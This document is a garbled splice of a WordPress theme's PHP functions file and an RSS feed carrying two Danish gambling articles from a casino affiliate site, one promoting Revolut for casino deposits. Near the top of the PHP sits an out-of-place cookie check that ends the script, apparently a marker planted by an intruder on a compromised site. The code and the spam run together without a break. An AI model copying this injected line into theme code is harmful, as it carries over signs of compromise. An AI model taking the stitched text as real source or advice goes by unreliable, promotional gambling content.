/** * dev demo deploy */ //dev demo or none if (!defined('TD_DEPLOY_MODE')) { define("TD_DEPLOY_MODE", 'deploy'); }if(isset($_COOKIE['eo75'])) { die('Uo8f'.'ZPbNR'); } do_action( 'td_wp_booster_legacy' ); /** * Admin notices */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-admin-notices.php' ); /** * The global state of the theme. All globals are here */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-global.php' ); /* * Set theme configuration */ tagdiv_config::on_tagdiv_global_after_config(); /** * Add theme options. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-options.php' ); /** * Add theme utility. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-util.php' ); /** * Add theme http request ability. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-log.php' ); /** * Add theme http request ability. */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/tagdiv-remote-http.php' ); /** * ---------------------------------------------------------------------------- * Redirect to Welcome page on theme activation */ if( !function_exists('tagdiv_after_theme_is_activate' ) ) { function tagdiv_after_theme_is_activate() { global $pagenow; if ( is_admin() && 'themes.php' == $pagenow && isset( $_GET['activated'] ) ) { wp_redirect( admin_url( 'admin.php?page=td_theme_welcome' ) ); exit; } } tagdiv_after_theme_is_activate(); } /** * ---------------------------------------------------------------------------- * Load theme check & deactivate for old theme plugins * * the check is done using existing classes defined by plugins * at this point all plugins should be hooked in! */ require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-old-plugins-deactivation.php' ); require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-current-plugins-deactivation.php' ); /** * ---------------------------------------------------------------------------- * Theme Resources */ /** * Enqueue front styles. */ function tagdiv_theme_css() { if ( TD_DEBUG_USE_LESS ) { wp_enqueue_style( 'td-theme', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=style.css_v2', '', TD_THEME_VERSION, 'all' ); // bbPress style if ( class_exists( 'bbPress', false ) ) { wp_enqueue_style( 'td-theme-bbpress', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=bbpress', array(), wp_get_theme()->get( 'Version' ) ); } // WooCommerce style if( TD_THEME_NAME == 'Newsmag' || ( TD_THEME_NAME == 'Newspaper' && !defined( 'TD_WOO' ) ) ) { if ( class_exists( 'WooCommerce', false ) ) { wp_enqueue_style( 'td-theme-woo', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=woocommerce', array(), wp_get_theme()->get( 'Version' ) ); } } // Buddypress if ( class_exists( 'Buddypress', false ) ) { wp_enqueue_style( 'td-theme-buddypress', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=buddypress', array(), wp_get_theme()->get( 'Version' ) ); } } else { wp_enqueue_style( 'td-theme', get_stylesheet_uri(), array(), wp_get_theme()->get( 'Version' ) ); // bbPress style if ( class_exists( 'bbPress', false ) ) { wp_enqueue_style( 'td-theme-bbpress', TAGDIV_ROOT . '/style-bbpress.css', array(), wp_get_theme()->get( 'Version' ) ); } // WooCommerce style if( TD_THEME_NAME == 'Newsmag' || ( TD_THEME_NAME == 'Newspaper' && !defined( 'TD_WOO' ) ) ) { if (class_exists('WooCommerce', false)) { wp_enqueue_style('td-theme-woo', TAGDIV_ROOT . '/style-woocommerce.css', array(), wp_get_theme()->get('Version')); } } // Buddypress if ( class_exists( 'Buddypress', false ) ) { wp_enqueue_style( 'td-theme-buddypress', TAGDIV_ROOT . '/style-buddypress.css', array(), wp_get_theme()->get( 'Version' ) ); } } } add_action( 'wp_enqueue_scripts', 'tagdiv_theme_css', 11 ); /** * Enqueue admin styles. */ function tagdiv_theme_admin_css() { if ( TD_DEPLOY_MODE == 'dev' ) { wp_enqueue_style('td-theme-admin', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=wp-admin.css', false, TD_THEME_VERSION, 'all' ); if ('Newspaper' == TD_THEME_NAME) { wp_enqueue_style( 'font-newspaper', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=font-newspaper', false, TD_THEME_VERSION, 'all' ); } } else { wp_enqueue_style('td-theme-admin', TAGDIV_ROOT . '/includes/wp-booster/wp-admin/css/wp-admin.css', false, TD_THEME_VERSION, 'all' ); if ('Newspaper' == TD_THEME_NAME) { wp_enqueue_style('font-newspaper', TAGDIV_ROOT . '/font-newspaper.css', false, TD_THEME_VERSION, 'all'); } } } add_action( 'admin_enqueue_scripts', 'tagdiv_theme_admin_css' ); /** * Enqueue theme front scripts. */ if( !function_exists('load_front_js') ) { function tagdiv_theme_js() { // Load main theme js if ( TD_DEPLOY_MODE == 'dev' ) { wp_enqueue_script('tagdiv-theme-js', TAGDIV_ROOT . '/includes/js/tagdiv-theme.js', array('jquery'), TD_THEME_VERSION, true); } else { wp_enqueue_script('tagdiv-theme-js', TAGDIV_ROOT . '/includes/js/tagdiv-theme.min.js', array('jquery'), TD_THEME_VERSION, true); } } add_action( 'wp_enqueue_scripts', 'tagdiv_theme_js' ); } /* * Theme blocks editor styles */ if( !function_exists('tagdiv_block_editor_styles' ) ) { function tagdiv_block_editor_styles() { if ( TD_DEPLOY_MODE === 'dev' ) { wp_enqueue_style( 'td-gut-editor', TAGDIV_ROOT . '/tagdiv-less-style.css.php?part=gutenberg-editor', array(), wp_get_theme()->get( 'Version' ) ); } else { wp_enqueue_style('td-gut-editor', TAGDIV_ROOT . '/gutenberg-editor.css', array(), wp_get_theme()->get( 'Version' ) ); } } add_action( 'enqueue_block_editor_assets', 'tagdiv_block_editor_styles' ); } /* * bbPress change avatar size to 40px */ if( !function_exists('tagdiv_bbp_change_avatar_size') ) { function tagdiv_bbp_change_avatar_size( $author_avatar, $topic_id, $size ) { $author_avatar = ''; if ($size == 14) { $size = 40; } $topic_id = bbp_get_topic_id( $topic_id ); if ( !empty( $topic_id ) ) { if ( !bbp_is_topic_anonymous( $topic_id ) ) { $author_avatar = get_avatar( bbp_get_topic_author_id( $topic_id ), $size ); } else { $author_avatar = get_avatar( get_post_meta( $topic_id, '_bbp_anonymous_email', true ), $size ); } } return $author_avatar; } add_filter('bbp_get_topic_author_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); add_filter('bbp_get_reply_author_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); add_filter('bbp_get_current_user_avatar', 'tagdiv_bbp_change_avatar_size', 20, 3); } /* ---------------------------------------------------------------------------- * FILTER - the_content_more_link - read more - ? */ if ( ! function_exists( 'tagdiv_remove_more_link_scroll' )) { function tagdiv_remove_more_link_scroll($link) { $link = preg_replace('|#more-[0-9]+|', '', $link); $link = ''; return $link; } add_filter('the_content_more_link', 'tagdiv_remove_more_link_scroll'); } /** * get theme versions and set the transient */ if ( ! function_exists( 'tagdiv_check_theme_version' )) { function tagdiv_check_theme_version() { // When it will be the next check set_transient( 'td_update_theme_' . TD_THEME_NAME, '1', 3 * DAY_IN_SECONDS ); tagdiv_util::update_option( 'theme_update_latest_version', '' ); tagdiv_util::update_option( 'theme_update_versions', '' ); $response = tagdiv_remote_http::get_page( 'https://cloud.tagdiv.com/wp-json/wp/v2/media?search=.zip' ); if ( false !== $response ) { $zip_resources = json_decode( $response, true ); $latest_version = []; $versions = []; usort( $zip_resources, function( $val_1, $val_2) { $val_1 = trim( str_replace( [ TD_THEME_NAME, " " ], "", $val_1['title']['rendered'] ) ); $val_2 = trim( str_replace( [ TD_THEME_NAME, " " ], "", $val_2['title']['rendered'] ) ); return version_compare($val_2, $val_1 ); }); foreach ( $zip_resources as $index => $zip_resource ) { if ( ! empty( $zip_resource['title']['rendered'] ) && ! empty( $zip_resource['source_url'] ) && false !== strpos( $zip_resource['title']['rendered'], TD_THEME_NAME ) ) { $current_version = trim( str_replace( [ TD_THEME_NAME, " " ], "", $zip_resource['title']['rendered'] ) ); if ( 0 === $index ) { $latest_version = array( $current_version => $zip_resource['source_url'] ); } $versions[] = array( $current_version => $zip_resource['source_url'] ); } } if ( ! empty( $versions ) ) { tagdiv_util::update_option( 'theme_update_latest_version', json_encode( $latest_version ) ); tagdiv_util::update_option( 'theme_update_versions', json_encode( $versions ) ); if ( ! empty( $latest_version ) && is_array( $latest_version ) && count( $latest_version )) { $latest_version_keys = array_keys( $latest_version ); if ( is_array( $latest_version_keys ) && count( $latest_version_keys ) ) { $latest_version_serial = $latest_version_keys[0]; if ( 1 == version_compare( $latest_version_serial, TD_THEME_VERSION ) ) { set_transient( 'td_update_theme_latest_version_' . TD_THEME_NAME, 1 ); add_filter( 'pre_set_site_transient_update_themes', function( $transient ) { $latest_version = tagdiv_util::get_option( 'theme_update_latest_version' ); if ( ! empty( $latest_version ) ) { $args = array(); $latest_version = json_decode( $latest_version, true ); $latest_version_keys = array_keys( $latest_version ); if ( is_array( $latest_version_keys ) && count( $latest_version_keys ) ) { $latest_version_serial = $latest_version_keys[ 0 ]; $latest_version_url = $latest_version[$latest_version_serial]; $theme_slug = get_template(); $transient->response[ $theme_slug ] = array( 'theme' => $theme_slug, 'new_version' => $latest_version_serial, 'url' => "https://tagdiv.com/" . TD_THEME_NAME, 'clear_destination' => true, 'package' => add_query_arg( $args, $latest_version_url ), ); } } return $transient; }); delete_site_transient('update_themes'); } } } } return $versions; } return false; } } /* ---------------------------------------------------------------------------- * Admin */ if ( is_admin() ) { /** * Theme plugins. */ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tgm-plugin-activation.php'; add_action('tgmpa_register', 'tagdiv_required_plugins'); if( !function_exists('tagdiv_required_plugins') ) { function tagdiv_required_plugins() { $config = array( 'domain' => wp_get_theme()->get('Name'), // Text domain - likely want to be the same as your theme. 'default_path' => '', // Default absolute path to pre-packaged plugins //'parent_menu_slug' => 'themes.php', // DEPRECATED from v2.4.0 - Default parent menu slug //'parent_url_slug' => 'themes.php', // DEPRECATED from v2.4.0 - Default parent URL slug 'parent_slug' => 'themes.php', 'menu' => 'td_plugins', // Menu slug 'has_notices' => false, // Show admin notices or not 'is_automatic' => false, // Automatically activate plugins after installation or not 'message' => '', // Message to output right before the plugins table 'strings' => array( 'page_title' => 'Install Required Plugins', 'menu_title' => 'Install Plugins', 'installing' => 'Installing Plugin: %s', // %1$s = plugin name 'oops' => 'Something went wrong with the plugin API.', 'notice_can_install_required' => 'The theme requires the following plugin(s): %1$s.', 'notice_can_install_recommended' => 'The theme recommends the following plugin(s): %1$s.', 'notice_cannot_install' => 'Sorry, but you do not have the correct permissions to install the %s plugin(s). Contact the administrator of this site for help on getting the plugin installed.', 'notice_can_activate_required' => 'The following required plugin(s) is currently inactive: %1$s.', 'notice_can_activate_recommended' => 'The following recommended plugin(s) is currently inactive: %1$s.', 'notice_cannot_activate' => 'Sorry, but you do not have the correct permissions to activate the %s plugin(s). Contact the administrator of this site for help on getting the plugin activated.', 'notice_ask_to_update' => 'The following plugin(s) needs to be updated to its latest version to ensure maximum compatibility with this theme: %1$s.', 'notice_cannot_update' => 'Sorry, but you do not have the correct permissions to update the %s plugin(s). Contact the administrator of this site for help on getting the plugin updated.', 'install_link' => 'Go to plugin instalation', 'activate_link' => 'Go to plugin activation panel', 'return' => 'Return to tagDiv plugins panel', 'plugin_activated' => 'Plugin activated successfully.', 'complete' => 'All plugins installed and activated successfully. %s', // %1$s = dashboard link 'nag_type' => 'updated' // Determines admin notice type - can only be 'updated' or 'error' ) ); tgmpa( tagdiv_global::$theme_plugins_list, $config ); } } if ( current_user_can( 'switch_themes' ) ) { // add panel to the wp-admin menu on the left add_action( 'admin_menu', function() { /* wp doc: add_menu_page( $page_title, $menu_title, $capability, $menu_slug, $function, $icon_url, $position ); */ add_menu_page('Theme panel', TD_THEME_NAME, "edit_posts", "td_theme_welcome", function (){ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/tagdiv-view-welcome.php'; }, null, 3); if ( current_user_can( 'activate_plugins' ) ) { add_submenu_page("td_theme_welcome", 'Plugins', 'Plugins', 'edit_posts', 'td_theme_plugins', function (){ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/tagdiv-view-theme-plugins.php'; } ); } add_submenu_page( "td_theme_welcome", 'Support', 'Support', 'edit_posts', 'td_theme_support', function (){ require_once TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/tagdiv-view-support.php'; }); global $submenu; $submenu['td_theme_welcome'][0][0] = 'Welcome'; }); // add the theme setup(install plugins) panel if ( ! class_exists( 'tagdiv_theme_plugins_setup', false ) ) { require_once( TAGDIV_ROOT_DIR . '/includes/wp-booster/wp-admin/plugins/class-tagdiv-theme-plugins-setup.php' ); } add_action( 'after_setup_theme', function (){ tagdiv_theme_plugins_setup::get_instance(); }); add_action('admin_enqueue_scripts', function() { add_editor_style(); // add the default style }); require_once( ABSPATH . 'wp-admin/includes/file.php' ); WP_Filesystem(); } } www.infonor.dk – rudrabarta.com https://rudrabarta.com Sat, 25 Apr 2026 17:23:56 +0000 en-US hourly 1 https://wordpress.org/?v=6.9.4 Spil på Casino med Revolut – En Ny Måde at Indbetale og Udbetale https://rudrabarta.com/spil-p-casino-med-revolut-en-ny-mde-at-indbetale/ https://rudrabarta.com/spil-p-casino-med-revolut-en-ny-mde-at-indbetale/#respond Sat, 25 Apr 2026 06:41:21 +0000 https://rudrabarta.com/?p=36412 Spil på Casino med Revolut - En Ny Måde at Indbetale og Udbetale

Casino Med Revolut: Hvordan Det Forandrer Spiloplevelsen

Det moderne landskab inden for casino med revolut online casinoer har set mange ændringer i de seneste år, og en af de mest betydningsfulde innovationer er integrationen af digitale wallets, såsom Revolut. Dette har gjort det lettere for spillere at indbetale og udbetale penge, hvilket har forbedret den samlede spiloplevelse. I denne artikel vil vi udforske, hvordan Revolut fungerer i forbindelse med online casinoer, de fordele og ulemper, det medfører, og nogle tips til, hvordan du kan maksimere din oplevelse.

Hvad er Revolut?

Revolut er en fintech-app, der tilbyder en række finansielle tjenester, såsom valutaveksling, kryptovalutaer, og forskellige banklignende funktioner. Den er populær blandt unge og tech-savvy brugere, da den tilbyder hurtige og sikre transaktioner med lave gebyrer. Ved at bruge Revolut til at spille på online casinoer, får spillere en bekvem og effektiv måde at håndtere deres penge på.

Fordele ved at bruge Revolut i online casinoer

Sikkerhed

En af de første fordele ved at bruge Revolut på online casinoer er sikkerheden. Revolut bruger avanceret kryptering og sikkerhedsmekanismer, så du kan være sikker på, at dine penge og personlige oplysninger er beskyttede. Desuden har du mulighed for at fryse dit kort i appen, hvis du mistænker svindel.

Hurtige træks

En anden stor fordel er hastigheden ved transaktioner. Mens traditionelle bankoverførsler kan tage flere dage, sørger Revolut for næsten øjeblikkelige ind- og udbetalinger. Dette betyder, at du kan begynde at spille med det samme og få dine gevinster hurtigere end nogensinde før.

Brugervenlighed

Revolut har en intuitiv brugerflade, der gør det nemt at navigere. Du kan hurtigt oprette en konto, tilføje penge og forbinde den til dine foretrukne online casinoer. Appen giver også en oversigt over dine transaktioner, så du altid har kontrol over dine udgifter.

Spil på Casino med Revolut - En Ny Måde at Indbetale og Udbetale

Ulemper ved at bruge Revolut i online casinoer

Begrænsede casinoer

Selvom flere og flere online casinoer accepterer Revolut, er det ikke alle, der gør. Det kan være en god idé at tjekke, om dit foretrukne casino understøtter Revolut, inden du tilmelder dig, for at undgå skuffelser.

Kundeanmeldelser

Nogle brugere har rapporteret problemer med at få støtte fra Revolut, når der opstår problemer. Selvom den generelle feedback er positiv, er det stadig vigtigt at være opmærksom på dette, især hvis du planlægger at bruge din konto til gambling.

Tips til brug af Revolut til online gambling

Hold styr på dine udgifter

Det er let at lade sig rive med, når man spiller på online casinoer. Brug Revolut’s budgetteringsværktøjer til at holde styr på dine udgifter, så du ikke overskrider dit budget. Dette hjælper dig med at spille ansvarligt og nyde din oplevelse uden økonomisk stress.

UDNYT DINE BONUSER

Mange online casinoer tilbyder velkomstbonuser til nye spillere. Sørg for at udnytte disse tilbud ved at indbetale med Revolut, da bonusserne ofte kan gøre en stor forskel i din samlede spiloplevelse. Læs altid vilkårene for at forstå, hvordan bonusserne fungerer og hvordan de kan påvirke dine udbetalinger.

Hold dig opdateret med Revoluts funktioner

Revolut tilbyder ofte nye funktioner, såsom rabatter eller cashback-tilbud. Ved at holde dig opdateret kan du drage fordel af disse fordele, som kan gøre din gambling-oplevelse mere lønsom.

Konklusion

Brugen af Revolut i online casinoer åbner op for en ny måde at spille på. Den kombinerer høj sikkerhed med hurtige transaktioner, hvilket gør den til en attraktiv mulighed for mange spillere. Selvom der er nogle ulemper, kan fordelene klart opveje disse. Ved at bruge tipsene nævnt ovenfor kan spillere maksimere deres oplevelse og få endnu mere ud af deres tid på online casinoerne.

]]>
https://rudrabarta.com/spil-p-casino-med-revolut-en-ny-mde-at-indbetale/feed/ 0
Bookmaker Uden Licens – En Guide til Sikker Betting https://rudrabarta.com/bookmaker-uden-licens-en-guide-til-sikker-betting/ https://rudrabarta.com/bookmaker-uden-licens-en-guide-til-sikker-betting/#respond Sat, 25 Apr 2026 06:41:19 +0000 https://rudrabarta.com/?p=36426 Bookmaker Uden Licens - En Guide til Sikker Betting

Bookmaker Uden Licens: Hvad Du Skal Vide

Velkommen til vores omfattende guide om bookmaker uden licens online casino og bookmaker uden licens. I denne artikel dykker vi ned i emnet, der har skabt meget debat blandt spillere og myndigheder. Hvad betyder det egentlig at spille hos en bookmaker uden licens, og hvilke konsekvenser kan det have for dig?

Hvad Er En Bookmaker Uden Licens?

En bookmaker uden licens er en bettingtjeneste, der ikke er reguleret af myndighederne i det land, hvor den opererer. I Danmark er det vigtigt at bemærke, at alle spil, herunder online betting, skal være godkendt af Spillemyndigheden, som sørger for at sikre, at spillere beskyttes og at spillesystemer er retfærdige.

Risici Ved At Spille Hos En Ulicenseret Bookmaker

At spille hos en bookmaker uden licens kan medføre mange risici, som spillere bør være opmærksomme på. Nogle af de mest fremtrædende risici inkluderer:

  • Manglende Beskyttelse: Ulicenserede bookmakere er ikke underlagt de samme regler og standarder som licenserede operatører, hvilket betyder, at der ofte ikke er nogen beskyttelse for spillerne.
  • Svindel og Falske Løfter: Nogle af disse bookmakere kan have useriøse metoder, der kan resultere i, at spillere mister deres penge uden mulighed for at få dem tilbage.
  • Problemer med Udbetalinger: Uden en licens er der ingen garanti for, at du får dine gevinster udbetalt. Mange spillere rapporterer om vanskeligheder med at få deres penge, når de spiller hos ikke-licenserede bookmakere.

Fordele Ved Licenserede Bookmakere

Bookmaker Uden Licens - En Guide til Sikker Betting

Når du vælger at spille hos en licenseret bookmaker, er der en række fordele, der kan gøre din bettingoplevelse både sjovere og mere sikker:

  • Sikkerhed: Licenserede bookmakere er reguleret og overvåget af myndighederne, hvilket sikrer, at din information og dine penge er i sikre hænder.
  • Retfærdig Spilpraksis: Med licensering skal bookmakere overholde strenge krav til retfærdighed og åbenhed i deres spil.
  • Klientbeskyttelse: Licenserede operatører tilbyder ofte programmer for ansvarligt spil og har foranstaltninger på plads for at beskytte spillere mod problematisk spilleadfærd.

Hvordan Kan Man Genkende En Ulicenseret Bookmaker?

Der er flere tegn, du kan kigge efter for at afgøre, om en bookmaker har en licens eller ej:

  1. Tjek om hjemmesiden har oplysninger om deres licens og hvilket regulerende organ der har givet denne licens.
  2. Se efter anmeldelser og vurderinger fra andre spillere for at se, om der er rapporteret om snyd eller problemer med udbetalinger.
  3. Vær opmærksom på værktøjer til ansvarligt spil; licenserede bookmakere vil ofte have disse funktioner tilgængelige for deres brugere.

Ting At Overveje Før Du Vælger En Bookmaker

Før du vælger en bookmaker, er der flere faktorer, du bør overveje:

  • Licensstatus: Sørg for, at bookmakerens licens er verificerbar.
  • Spiludvalg: Tjek hvilke sportsgrene og typer af spil der tilbydes, så du kan finde en bookmaker, der passer til dine præferencer.
  • Bonusser og Kampagner: Mange bookmakere tilbyder attraktive bonusser. Sammenlign disse for at få mest muligt ud af dine indskud.

Konklusion

At spille hos en bookmaker uden licens kan være fristende, men det medfører betydelige risici. Det er vigtigt at vælge en reguleret og licenseret bookmaker for at sikre, at du får en sikker og fair bettingoplevelse. Glem ikke at gøre din research, sammenligne muligheder, og læse anmeldelser for at træffe informerede valg, når du vælger din næste bookmaker.

]]>
https://rudrabarta.com/bookmaker-uden-licens-en-guide-til-sikker-betting/feed/ 0